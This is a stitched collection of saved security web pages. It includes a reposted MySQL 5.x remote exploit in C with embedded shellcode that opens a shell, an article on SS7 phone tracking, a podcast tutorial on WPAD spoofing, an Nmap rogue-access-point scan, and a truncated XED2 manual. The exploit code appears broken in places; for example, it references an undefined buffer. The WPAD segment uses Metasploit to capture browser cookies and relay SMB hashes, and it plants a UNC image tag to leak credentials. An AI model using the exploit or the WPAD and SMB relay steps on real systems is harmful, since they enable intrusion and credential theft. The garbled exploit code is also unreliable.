keys; under what conditions are artifacts beneath these keys created or
modified. There definitely needs to be more research into this particular key.
Perhaps one way of determining this is to create a timeline of system
activity, and add the LastDetectionTime information for these keys to the
timeline.

# Vulnerable InforMation And IT News » Blog Archive » MySQL 5.x 3306 remote
exploit - vulnerable security xss sql injection exploit bugs 0day zero-day
paper news code

**Created:**| _1/7/2010 7:36:45 AM_  
---|---  
**Updated:**| _1/7/2010 7:37:08 AM_  
**Author:**| __  
**Tags:**| _bookmark Exploit_  
  

## MySQL 5.x 3306 remote exploit

MySQL\_Exploit.c  
Exp \[-s socket\]|\[-h host\]\[-p port\]\]\[-x\]

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    
    
[/code]

|

[code]

    01.#include <stdio.h>   
    02.#include <mysql.h>   
    03.#include <unistd.h>   
    04.int thd = 0x8b1b338;   
    05.int tbl = 0x8b3a880;   
    06.#define USOCK2 "/tmp/mysql.sock"   
    07.char addr_tdh[4];   
    08.char addr_tbl[4];   
    09.char addr_ret[4];   
    10.  
    11.#define TBL_POS   182   
    12.#define THD_POS   178   
    13.#define RET_POS   174   
    14.#define SHL_POS   34   
    15.char shcode[] = {   
    16.   0x6a, 0x66, 0x58, 0x6a, 0x01, 0x5b, 0x99, 0x52, 0x53, 0x6a, 0x02, 0x89 // 12   
    17.,0xe1, 0xcd, 0x80, 0x52, 0x43, 0x68, 0xff, 0x02, 0x0a, 0x93, 0x89, 0xe1   
    18.,0x6a, 0x10, 0x51, 0x50, 0x89, 0xe1, 0x89, 0xc6, 0xb0, 0x66, 0xcd, 0x80   
    19.,0x43, 0x43, 0xb0, 0x66, 0xcd, 0x80, 0x52, 0x56, 0x89, 0xe1, 0x43, 0xb0   
    20.,0x66, 0xcd, 0x80, 0x89, 0xd9, 0x89, 0xc3, 0xb0, 0x3f, 0x49, 0xcd, 0x80   
    21.,0x41, 0xe2, 0xf8, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f   
    22.,0x62, 0x69, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 // 12*7= 84   
    23.};   
    24.int tmp_idx = 0;   
    25.int dump_packet_len = 7;   
    26.char table_dump_packet[] = { 0x03, 0x00, 0x00, 0x00, 0x13, 0x02, 0x73 };   
    27.int payload_len = 371;   
    28.// header packet + select '0x39'   
    29.char query_payload[] = {   
    30.       0x6f, 0x01, 0x00, 0x00, 0x03, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x27, 0x31, 0x32, 0x33 // 16    Some junk from position 6 ...   
    31.     , 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x31, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36 // 32   
    32.     , 0x37, 0x38, 0x39, 0x30, 0x5f, 0x32, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 // 48   
    33.     , 0x30, 0x5f, 0x33, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x34 // 64   
    34.     , 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x35, 0x5f, 0x31, 0x32 // 72   
    35.     , 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x36, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35 // 88   
    36.     , 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x37, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38 // 94   
    37.     , 0x39, 0x30, 0x5f, 0x38, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x6a // 112   
    38.     , 0x0b, 0x58, 0x99, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3 // 128 endsh 118   
    39.     , 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d // 144   
    40.     , 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x5a, 0x5f, 0x61, 0x61, 0x62, 0x62, 0x63 // 160   
    41.     , 0x63, 0x64, 0x64, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0x6c, 0xbf, 0x6d // 176   
    42.     , 0x6d, 0x6e, 0x6e, 0xff, 0x6f, 0x70, 0x70, 0x71, 0x71, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72, 0x0d // len=16*4+1=65;   
    43.};       
    44.  
    45.int anon_pckt_len = 65;   
    46.  
    47.#define USOCK "/tmp/mysql2.sock"   
    48.  
    49.int  
    50.tcp_conn (char *hostname, int port)   
    51.{   
    52.  
    53.   int sockfd;   
    54.   int n;   
    55.   struct sockaddr_in servaddr;   
    56.  
    57.   struct hostent *hp;   
    58.  
    59.  
    60.   if ((hp = gethostbyname (hostname)) == 0)   
    61.     {   
    62.       perror ("gethostbyname");   
    63.       exit (0);   
    64.     }   
    65.  
    66.   if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)   
    67.     {   
    68.       perror ("socket");   
    69.       exit (1);   
    70.     }   
    71.  
    72.   bzero ((char *) &servaddr, sizeof (servaddr));   
    73.   servaddr.sin_family = AF_INET;   
    74.   servaddr.sin_port = htons (port);   
    75.  
    76.   memcpy (&servaddr.sin_addr, hp->h_addr, hp->h_length);   
    77.   if (servaddr.sin_addr.s_addr <= 0)   
    78.     {   
    79.       perror ("bad address after gethostbyname");   
    80.       exit (1);   
    81.     }   
    82.   if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)   
    83.     {   
    84.       perror ("connect");   
    85.       exit (1);   
    86.     }   
    87.   return sockfd;   
    88.}   
    89.  
    90.int  
    91.unix_conn (char *path)   
    92.{   
    93.   int fd, len;   
    94.   struct sockaddr_un sa;   
    95.  
    96.   fd = socket (PF_UNIX, SOCK_STREAM, 0);   
    97.  
    98.   if (fd < 0)   
    99.     {   
    100.       perror ("cli: socket(PF_UNIX,SOCK_STREAM)");   
    101.       exit (1);   
    102.     }   
    103.  
    104.   sa.sun_family = AF_UNIX;   
    105.   strcpy (sa.sun_path, path);   
    106.   len = sizeof (sa);   
    107.   if (connect (fd, (struct sockaddr *) &sa, len) < 0)   
    108.     {   
    109.       perror ("cli: connect()");   
    110.       exit (1);   
    111.     }   
    112.   return fd;   
    113.}   
    114.  
    115.int  
    116.main (int argc, char *argv[])   
    117.{   
    118.   int fd;   
    119.   int i, ret;   
    120.   char packet[65535];   
    121.   char *path;   
    122.   char *host;   
    123.   int port = 3306;   
    124.   char buf[65535];   
    125.   int db_len = 0;   
    126.   int pckt_len = anon_pckt_len;   
    127.   int unix_sock = 1;   
    128.   char c;   
    129.  
    130.   path = strdup (USOCK);   
    131.   host = strdup ("127.0.0.1");   
    132.  
    133.   opterr = 0;   
    134.  
    135.   while ((c = getopt (argc, argv, "s:h:p:n:")) != -1)   
    136.     switch (c)   
    137.       {   
    138.       case 's':   
    139.path = strdup (optarg);   
    140.unix_sock = 1;   
    141.break;   
    142.       case 'h':   
    143.host = strdup (optarg);   
    144.unix_sock = 0;   
    145.break;   
    146.       case 'p':   
    147.port = atoi (optarg);   
    148.unix_sock = 0;   
    149.break;   
    150.       case 'n':   
    151.db_len = atoi (optarg);   
    152.break;   
    153.  
    154.       default:   
    155.break;   
    156.       }   
    157.  
    158.  
    159.   bzero (packet, 65535);   
    160.  
    161.   pckt_len = anon_pckt_len + db_len;   
    162.   printf ("%d ", pckt_len);   
    163.  
    164.   for (i = 0; i < pckt_len; i++)   
    165.     packet[i] = anon_pckt[i];   
    166.  
    167.   if (db_len)   
    168.     for (i = anon_pckt_len - 2; i < pckt_len; i++)   
    169.       packet[i] = 'A';   
    170.  
    171.   packet[pckt_len - 1] = '';   
    172.  
    173.   packet[0] = (char) (anon_pckt[0] + db_len) & 0xff;   
    174.   packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff;   
    175.   for (i = 0; i < pckt_len; i++)   
    176.     printf (" %.2x%c", (unsigned char) packet[i],   
    177.     ((i + 1) % 16 ? ' ' : ' '));   
    178.   printf (" ");   
    179.  
    180.  
    181.   if (unix_sock)   
    182.     fd = unix_conn (path);   
    183.   else  
    184.     fd = tcp_conn (host, port);   
    185.  
    186.   sleep (1);   
    187.   ret = recv (fd, buf, 65535, 0);   
    188.   if (send (fd, packet, pckt_len, 0) != pckt_len)   
    189.     {   
    190.       perror ("cli: send(anon_pckt)");   
    191.       exit (1);   
    192.     }   
    193.  
    194.   ret = recv (fd, buf, 65535, 0);   
    195.   for (i = 0; i < ret; i++)   
    196.     printf ("%c", (isalpha (buf[i]) ? buf[i] : '.'));   
    197.   printf (" ");   
    198.   return 0;   
    199.}
    
[/code]  
---|---  
### Related Posts

  * MySQL <=5.0.75 sql\_parse.cc exploit
  * OrzHTTPd Format String Exploit
  * Oracle ctxsys.drvxtabc.create\_tables Exploit
  * Oracle SYS.LT.REMOVEWORKSPACE Evil Cursor Exploit
  * Oracle SYS.LT.REMOVEWORKSPACE Evil Cursor Exploit
  * VMWare Workstation Virtual 8086 Linux Local ring0 exploit.

Tags: Exploit, mysql

# Inside SS7, the Insecure Global Cell Network That's Used to Track Phones | Motherboard
**Created:**| _8/27/2014 2:13:45 PM_  
---|---  
**Updated:**| _8/27/2014 2:13:45 PM_  
**Author:**| __  
**Tags:**| _opinion gsm_  
  

# Inside SS7, the Insecure Global Cell Network That's Used to Track Phones

Written by

### Matthew Braga

August 27, 2014 // 05:00 AM EST

Sitting just below the world’s cellular networks is another, hidden
network—one that, among other things, makes it possible for you to roam
between cell towers, carriers and countries with ease.

But in order to deliver calls and texts while you’re on the move, the network
keeps track of your location too. And it shouldn’t come as a surprise that
this feature can be used against you.

The vulnerability of this network, known as Signaling System \#7, isn’t news
to security researchers. A German engineer named Tobias Engel first publicized
the potential abuse of SS7’s location-tracking abilities at a Chaos Computer
Club conference in 2008, and commercial services now offer tools that can
query SS7 for the rough location of a cellphone or cellular-capable device
from almost anywhere in the world.

While intelligence agencies have been shown to possess similar capabilities
now for years, commercially available surveillance software used to perform
such queries is becoming more accessible, and more precise, according to a
recent report in the _Washington Post_, for anyone willing to pay.

Despite the ominous sounding name, SS7 is really just a bunch of network
protocols “used by most telecommunications operators throughout the world to
talk to each other," according to Engel's presentation. SS7 handles all of the
basic routing and connecting functions that happen behind the scenes when you
send a message or make a call. SS7 is also what reconnects you to your
carriers’ network when you move between cell towers, and passes roaming fees
back to your home network when you travel abroad.

<img src='img/Temp2_4461.png' />

Screenshot from the leaked Verint Skyjack report highlighting its ability to
trace someone using the SS7 network. Image: Washington Post

Location data—knowing where you are, and where you’re from—is baked into the
very nature of how the system works. Any time you send or receive a message,
make a call, switch cell towers, or access the internet, your device announces
where you are, and the network takes note. This isn’t something you can
disable or turn off in your phone’s settings, for example. It’s all happening
on a network level behind the scenes.

In the past, only a few, large network operators were allowed to query this
data. But in recent years, the definition of a network operator has changed—to
the point where, today, according to Engel, practically _anyone_ can become an
operator. Upstart cellular carriers, VoIP providers, and third-party SMS
services that piggyback on the global cellular network all have access to SS7
now, and they can share that access with others.

One of those “others” is a surveillance and security software provider called
Verint Systems Inc. The _Washington Post_obtained a 2013 brochure on the
company’s SkyLock product, which is described as “a cost-effective, new
approach to obtaining global location information concerning known targets.”

> ### If you feed SkyLock a phone number, it will query the SS7 network and
> tell you where that device is located
According to Verint, SkyLock could just as easily be used for law enforcement
to track suspected terrorists or criminals as it could be used to search for
survivors of a natural disaster. But the ongoing manner in which SkyLock can
monitor targets beyond a mere one-time lookup demonstrates just how far the
use and abuse of SS7 queries has progressed.

In Engel’s initial presentation in 2008, he was able to easily identify the
country code and city in which a device was located. But Verint now boasts of
tracking subscribers on a cell ID level—in other words, down to the cell tower
which a device is connected to—and can continue to track and monitor the
movement and status of one or more devices over time.

If you feed SkyLock a phone number, or the international mobile subscriber
identity number \(IMSI\) of a device, it will query the SS7 network and tell
you where that device is located, and in some cases, where it’s recently been.

It’s worth noting that this cell tower data isn’t returned in the form of
easily digestible coordinates or GPS data. Rather, Verint relies on a
combination of open and closed source databases of cell tower locations that
are matched against a target’s cell ID.

Verint even suggests using this information in conjunction with Verint’s on-
the-ground IMSI catching hardware, which can further pinpoint the near-exact
location of a target device by either masquerading as a legitimate cell tower,
or passively sniffing the traffic to and from a cell tower nearby.

There are, of course, caveats. SS7 isn’t a “flat” network like the internet,
explains Fabio Pietrosanti, a mobile security expert and privacy activist with
the Hermes Center for Transparency and Digital Human Rights.

Whereas on the internet you can generally expect that you can reach
Motherboard's site from anywhere in the world, the SS7 network consists
largely of bi-lateral agreements and relationships between carriers where not
every carrier may necessarily have a route to another. \(This is also part of
the reason why roaming rates between carriers differ.\)

“Understand that the probability that, with an SS7 link to operator-A, you
will be able to locate operator-B is totally random, because it depends on
how, contractually and technically, the operator-A and operator-B are
interconnected,” Pietrosanti wrote in an email.

<img src='img/Temp2_4462.png' />

Screenshot from the leaked Verint report showing a variety of claimed
capabilities for the Skyjack software. Image: Washington Post

In other words, Verint can’t just connect to the SS7 network from one location
and reach every carrier across the globe. Instead, Verint relies in part on
“the installation of an SS7 local hub at a telecom operator” by Verint or one
of its partners for more precise tracking, and maintains many of these hubs
distributed worldwide.

Overall, the company claims in its brochure a success rate of locating targets
of at least 70 percent. \(However, Verint will not present the location of
Israeli subscribers in Israel, or any US subscribers at home or abroad.\)

Pietrosanti believes the companies such as Verint aren’t using illegitimate
means to gain unauthorized access to SS7. It’s more likely that Verint is
simply being not fully forthcoming about how it's using shared SS7 connection
points, or collaborating with countries, governments, and telecom operators
who are willing to turn a blind eye.

“I expect that the operators being \(ab\)used by Verint don’t know about it,”
Pietrosanti wrote.

He said he’s “100 percent confident” that if a major operator detected one of
its SS7 connection points with other carriers was being used for cell-tower
tracking, they would be disconnected and possibly even sued. That’s probably
part of the reason why Verint, in the brochure obtained by the Washington
Post, boasts of “a series of protective layers which are used to completely
hide and mask the tracking process”—shielding both Verint and its customers
from detection.

An obvious question is how some of the world’s biggest telecom carriers have
allowed this sort of behavior to continue for so long—and, to be fair, not all
of them have. Similar to IP-based networks, there exist SS7 firewalls that can
protect carrier networks from SMS spam and unauthorized location-lookups,
according to Pietrosanti.

But these are hardly foolproof, and researchers have demonstrated that SS7
firewalls can be defeated. They also don’t address the underlying problem with
SS7: security and authentication were never really built into the SS7 network
from the start, and much of the network remains inherently vulnerable to
abuse.

Basically, for all our efforts at limiting the apps and services we allow to
broadcast our location, it’s ultimately up to the network operators to keep
our locations secure.

# Episode138 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:55:32 PM_  
---|---  
**Updated:**| _8/5/2009 12:55:44 PM_  
**Author:**| __  
**Tags:**| _Exploit pauldotcom Metasploit network-security Tutorials_  
  

# Tech segment: WPAD Attacks & Metasploit 3.2 - Part I

WPAD is a feature within Windows that allows the web browser to automatically
find the proxy server on the network, and configure it for the local system.
It does this in a very interesting way, by looking up the DNS name "wpad.<my
domain>.com" and making the following request:

[code]

    GET /wpad.dat HTTP/1.0
    
[/code]

In order to grab these requests you have to register as the NetBIOS name
"wpad" and/or register with dhcp \(Which in a windows domain will add a DNS
entry for you, forward and reverse if enabled, which it usually is\). The
"wpad.dat" file contains the IP address and port of the proxy server the
client should use.

You will need to then redirect everything to an IP address and port that is
running a proxy. You can do this in Linux with:

[code]

    /sbin/iptables -t nat -A PREROUTING -s 192.168.1.0/255.255.255.0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.1.88
    
[/code]

Credit: http://www.ex-parrot.com/~pete/upside-down-ternet.html :\)

You try using tinyproxy or Squid to redirect the traffic. However, you will
want something evil, like Metasploit, to listen on port 80. My original plan
was to have my primary IP address listen on port 80 and run Metasploit, then
pass the traffic to the proxy so it would go out to the Internet. So I created
a secondary IP address to run tinyproxy on port 80:

[code]

    ifconfig eth0:1 192.168.1.88 netmask 255.255.255.0
    
[/code]

Below is tinyproxy config I modified:

[code]

    Port 80
    Listen 192.168.1.88
    Allow 192.168.1.0/24
    
    
[/code]

The above works great \(sorta\), if you only want to snoop on all HTTP
traffic, which can be interesting. When you fire up Metasploit, it does not
proxy, but give you interesting results:

Run Metasploit:

[code]

    msf > use auxiliary/server/capture/http 
    msf auxiliary(http) > set FORMSDIR /metasploit/framework-3.2/myhttp/forms
    msf auxiliary(http) > set SITELIST /metasploit/framework-3.2/myhttp/sites.txt
    msf auxiliary(http) > set SRVHOST 192.168.1.229
    msf auxiliary(http) > set SRVPORT 80
    msf auxiliary(http) > set TEMPLATE /metasploit/framework-3.2/myhttp/index.html
    msf auxiliary(http) > exploit
    [*] Auxiliary module running as background job
    [*] Server started.
    
    
[/code]

When you run the above module, it serves the "wpad.dat" to client
automagically \(its not really magic, I found it in the Ruby code :\). In the
above, I created custom site lists and forms. This is important for your pen
test \(most likely\) as you will care more about the internal ERP app, and
less about grabbing people's Yahoo\! logins \(because thats easy enough, just
ask Sarah Palin\). When you start it, you will get stuff like this:

[code]

    [*] HTTP REQUEST 192.168.1.246 > www.i-hacked.com:80 GET / Windows IE 7.0 cookies=mosvisitor=1; 97e6aefafad7fca1092546ba935d59f1=5390e4fb65942b827cc8221294e0e229; __utma=128795412.1799712433591043600.1233350820.1233350820.1233350820.1; __utmb=128795412.1.10.1233350820; __utmc=128795412; __utmz=128795412.1233350820.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
    [*] HTTP REQUEST 192.168.1.246 > google.com:80 GET / Windows IE 7.0 cookies=PREF=ID=a65<snip>93fd3f:TM=1233349495:LM=1233349495:S=uu5i7X-pUjk3Iq7L; NID=19=R2E6AOPpdtOd-ngandXg1<snip>DAR5ZvuMHmkM0Wdpq-RTwqlDd3nVhkt7W
    
    
[/code]

To grab the SMB hashes, we need to enable SMB Relay \(even though we will not
deploy the payload\):

[code]

    msf > use exploit/windows/smb/smb_relay 
    msf exploit(smb_relay) > set SRVHOST 192.168.1.229
    msf exploit(smb_relay) > set PAYLOAD windows/meterpreter/reverse_tcp 
    msf exploit(smb_relay) > exploit
    [*] Exploit running as background job.
    
    
[/code]

Once that is running, clients will now cough up the LM and NTHASHes:

[code]

    [*] Received 192.168.1.246:4295 \ LMHASH:00 NTHASH: OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1
    [*] Sending Access Denied to 192.168.1.246:4295 \
    [*] Received 192.168.1.246:4297 PAUL-WINDOWS-VM\Administrator LMHASH:faa8<snip>d530d NTHASH:a7a660f836<snip>fd3 OS:Windows 2002 Service Pack 2 2600 LM:Windows 2002 5.1
    
    
[/code]

Note: Its not in the same format as when you run hashdump. See
http://blog.metasploit.com/2008/11/ms08-067-metasploit-and-smb-relay.htmlfor
more information.

The index.html file that gets sent to each browser will need to contain the
following:

[code]

    <img src="\\192.168.1.229\Share\pic.jpg">
    
[/code]

Important\! Make sure its set to your IP address\! Of course, the next step is
to get Metasploit working and relaying traffic to the ultimate destination
while still being able to do the SMB relay. See part II for more information.
Suggestions on how to accomplish this are welcome \(I had limited time
today\).

# Monitoring your network with Powershell

**Created:**| _12/28/2009 10:17:12 PM_  
---|---  
**Updated:**| _12/28/2009 10:17:28 PM_  
**Author:**| __  
**Tags:**| _windows security powershell monitoring_  
  
<img src='img/Temp2_5417' />

# Episode123 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:50:21 PM_  
---|---  
**Updated:**| _8/5/2009 12:50:33 PM_  
**Author:**| __  
**Tags:**| _security tools pauldotcom security people network-security_  
  

# Tech Segment: Discovering Rogue Access Points With Nmap

There are lots of ways to skin this cat. This came up and piqued my interest
because I was looking at the Nessus plugin to do this. This is a neat concept,
but relies on some really old information from Nmap 3.50 OS fingerprints. I
decided that using Nmap directly is probably best to perform this task.
Luckily, my handy Nmap Book has a section devoted to this called "8.8
SOLUTION: Detect Rogue Wireless Access Points on an Enterprise Network", which
can be found in the OS Detection Chapter. Now, there is an example Nmap
command in the book, but I came up with the following Nmap command on my own
to do this on my home network:

[code]

    nmap -PN -n -pT:80,443,23,21,22,U:161,1900,5353 -sU -sV -sS -oA osfinger -O -T4 192.168.69.0/24
    
[/code]

The above Nmap command scans the network with no ping options set \(-PN\), and
no name resolution \(-n\). It only scans selected TCP and UDP ports, which I
find is a really neat feature to be able to specify independent lists of UDP
and TCP ports using the syntax above. I chose the ports listed because they
are most frequently found listening on embedded devices. I want to know if
those ports are open \(-sU and -sS\), and I want to fingerprint them if they
are open \(-sV\). I also want all of the result types \(nmap, grepable, and
xml\) so I can work with the results on XML and if a scan dies, resume with
the csv file. I also want an OS fingerprint and use aggressive timing.

This is great, but for use in an enterprise I want to run this on a cron job
and have it email me the results every day. So I extended using Nmap Parser
\(a perl library for accessing Nmap results and running Nmap scans\) and came
up with:

http://pauldotcom.com/rogueapdetect.pl

  
**NOTE: Nmap Parser was also featured in Episode 55 where Paul shows you how
to use it to find vulnerable hosts on the network in conjunction with
nbtscan.**

I installed the latest version of Nmap Parser, version 1.13. I had to change
the object names to be compatible with the new version, but it works like a
champ. Example results look like this:

[code]

    rogueapdetect.pl v0.001 - ( paul@pauldotcom.com )
    --------------------------------------------------
    
    Scan Information:
    Number of services scanned: 7
    Start Time: 1221793134
    Scan Types: syn udp
    
    Hosts scanned:
    
    Address   : 192.168.69.95
    OS match  : OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34)
    Device Type: WAP
    Address   : 192.168.69.92
    OS match  : OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34)
    Device Type: WAP
    
    
[/code]

Oh look, a couple of devices running OpenWrt, go figure :\)

# XED2: XED2 User Guide - Thu Jul 17 08:27:28 2008

**Created:**| _4/13/2011 8:21:44 AM_  
---|---  
**Updated:**| _4/13/2011 8:21:44 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation aslr reversing_  
  

Mark Charney

**Id**

     xed-doc-top.txt 1675 2008-07-14 19:02:04Z mjcharne
========================================================================================

## Introduction

========================================================================================

XED is an acronym for X86 Encoder Decoder. It is pronounced like the
\(British\) English "z". XED2 is the current implementation of XED, in C.
\(XED0 is written in C++\).

XED is a software library \(and associated headers\) for encoding and decoding
X86 \(IA-32 instruction set and Intel® 64 instruction set\) instructions. The
decoder takes sequences of 1-15 bytes along with machine mode information and
produces a data structure describing the opcode and operands, and flags. The
encoder takes a similar data structure and produces a sequence of 1 to 15
bytes. XED is multi-thread safe.

XED was designed to be very fast and extensible.

XED compiles with the following compilers:

  1. GNU G++ 2.96, 3.2.x, 3.3.x, 3.4.x, 4.1,x 4.2.x
  2. Microsoft Visual C++ 6 \(VC98\), Visual Studio 7 \(.NET 2003\), VS8 \(Professional 2005\), and VS9 \(Professional 2008\)
  3. Intel ICL/ICC 7.1,8.x 9.x and 10

XED works with the following operating systems:

  1. Linux, various flavors
  2. Microsoft Windows \(with and without cygwin\)
  3. Apple Mac OS\* X
  4. FreeBSD

The XED examples \(Examples of using XED\) also include binary image readers
for Windows PECOFF, ELF and Mac OS\* X MACHO binary file formats for 32b and
64b. These allow XED to be used as a simple \(not symbolic\) disassembler. The
XED disassembler supports 3 output formats: Intel, ATT SYSV, and a more
detailed internal format describing all resources read and written.

========================================================================================

Table of Contents

  * Building Building your program with XED
  * Terms Terminology
  * Overview Overview of the XED approach
  * API reference Detailed descriptions of the API
  * Examples Examples
  * Porting Porting from XED0 to XED2
  * Feedback Questions? Bugs?
  * Disclaimer and Legal Information

========================================================================================

## Building your program using XED.

========================================================================================

This section describes the requirements for compiling with XED and linking the
libxed.a library.

To use XED your sources should include the top-most header file: xed-
interface.h.

Your compilation statement must include:

[code]

        -Ixedpath/include
    
[/code]

where "xedpath" is the place you've unpacked the XED headers.

Your Linux or Mac OS\* X link statement must reference the libxed library:

[code]

        -lxedpath/lib/libxed.a
    
[/code]

\(or link against libxed.lib for Windows\).

XED uses base types from stdint.h when GCC is the compiler. These types have
the names: uint8\_t, uint16\_t, uint32\_t, uint64\_t int8\_t, int16\_t,
int32\_t, and int64\_t. When the Microsoft Visual Studio compiler or the Intel
compiler on Microsoft Windows are used used to compile XED, we create these
types using the underlying Windows standard types. XED also defines a
"uint\_t" type that is shorthand for 'unsigned int".

========================================================================================

## Terminology

========================================================================================

X86 instructions are 1-15 byte values. They consist of several well defined
components that total at most 15 bytes:

  1. legacy prefix bytes. Used for many purposes.
  2. REX prefix byte. Only in 64b mode. It has 4 1-bit fields: W, R, X, and B. The W bit modifies the operation width. The R, X and B fields extend the register encodings.
  3. 1-2 opcode bytes
  4. MODRM byte. Used for addressing memory, refining opcodes, specifying registers. Optional, but common. It has 3 fields: the 2-bit mod, the 3-bit reg and 3-bit "r/m" fields.
  5. SIB byte. Used for specifying memory addressing, optional. It has 3 fields: the 2-bit scale, 3-bit index and 3-bit base.
  6. Displacement bytes. Used for specifying memory offsets, optional.
  7. Immediate bytes. Optional

One specific opcode byte is used as an 'escape' to indicate that two opcode
bytes are required. All two-byte opcodes have this escape as their first
opcode byte.

Immediates and displacements are usually limited to 4 bytes, but there are
several variants of the MOV instruction that can take 8B values. The AMD 3DNow
ISA extension uses the immediate field to provide additional opcode
information.

The encodings are very byte-oriented. Bit-fields in the REX, opcode, MODRM and
SIB bytes are simple and self-contained.

The legacy prefix bytes are used for:

  1. operand size overrides \(1 prefix\),
  2. address size overrides \(1 prefix\),
  3. atomic locking \(1 prefix\),
  4. default segment overrides \(6 prefixes\),
  5. repeating certain instructions \(2 prefixes\), and
  6. opcode refinement.

There are 11 distinct legacy prefixes. Three of them \(operand size, and the
two repeat prefixes\) have different meanings in different contexts; Sometimes
they are used for opcode refinement and do not have their default meaning.
Less frequently. two of the segment overrides can be used for conditional
branch hints.

There are also multiple ways to encode certain instructions, with the same or
differing length.

========================================================================================

## Overview of XED approach

========================================================================================

XED has two fundamental interfaces: encoding and decoding. Supporting these
interfaces are many data structures, but the two starting points are the
xed\_encoder\_request\_t and the xed\_decoded\_inst\_t . The
xed\_decoded\_inst\_t has more information than the xed\_encoder\_request\_t ,
but both types are derived from a set of common fields called the
xed\_operand\_values\_t.

The output of the decoder, the xed\_decoded\_inst\_t , includes additional
information that is not required for encoding, but provides more information
about the instruction resources.

The common operand fields, used by both the encoder and decoder, hold the
operands and the memory addressing information.

The decoder has an operands array that holds order of the decoded operands.
This array indicates whether or not the operands are read or written.

The encoder has an operand array where the encoder user must specify the order
of the operands used for encoding.

========================================================================================

## Instruction classes

The xed\_iclass\_enum\_t class describes the instruction names. The names are
\(mostly\) taken from the Intel manual, with exceptions only for certain
ambiguities. This is what is typically thought of as the instruction mnemonic.
Note, XED does not typically distinguish instructions based on width unless
the ISA manuals do so as well. For example, xed\_iclass\_enum\_t's are not
suffixed with "w", "l" or "q" typically. There are instructions whose
xed\_iclass\_enum\_t ends in a "B" or a "Q" \(including all byte operations
and certain string operations\) and those names are preserved as described in
the Intel programmers' reference manuals.

### Special Cases

There are many special cases that must be accounted for in attempting to
handle all the nuances of the ISA. This is an attempt to explain the
nonstandard handling of certain instruction names.

The FAR versions of 3 opcodes \(really 6 distinct opcodes\) are given the
opcode names CALL\_FAR, JMP\_FAR and RET\_FAR. The AMD documentation lists the
far return as RETF. I call that RET\_FAR to be consistent with the other far
operations.

To distinguish the SSE2 MOVSD instruction from the base string instruction
MOVSD, XED calls the SSE version MOVSD\_XMM.

### NOPs

NOPs are very special. XED allows for encoding NOPs of 1 to 9 bytes through
the use of the XED\_ICLASS\_NOP \(the one byte nop\), and XED\_ICLASS\_NOP2
... XED\_ICLASS\_NOP9. These use the recommended NOP sequences from the Intel
Software Developers Manual.

The instruction 0x90 is very special in the instruction set because it gets
special treatment in 64b mode. In 64b mode, 32b register writes normally zero
the upper 32 bits of a 64b register. No so for 0x90. If it did zero the upper
32 bits, it would not be a NOP.

There are two important NOP categories. XED\_CATEGORY\_NOP and
XED\_CATEGORY\_WIDENOP. The XED\_CATEGORY\_NOP applies only to the 0x90
opcode. The WIDENOP category applies to the NOPs in the two byte table row
0F19...0F1F. The WIDENOPs take MODRM bytes, and optional SIB and
displacements.

========================================================================================

## Operands

XED uses the operand order documented in the Intel Programmers' Reference
Manual. In most cases, the first operand is a source and destination \(read
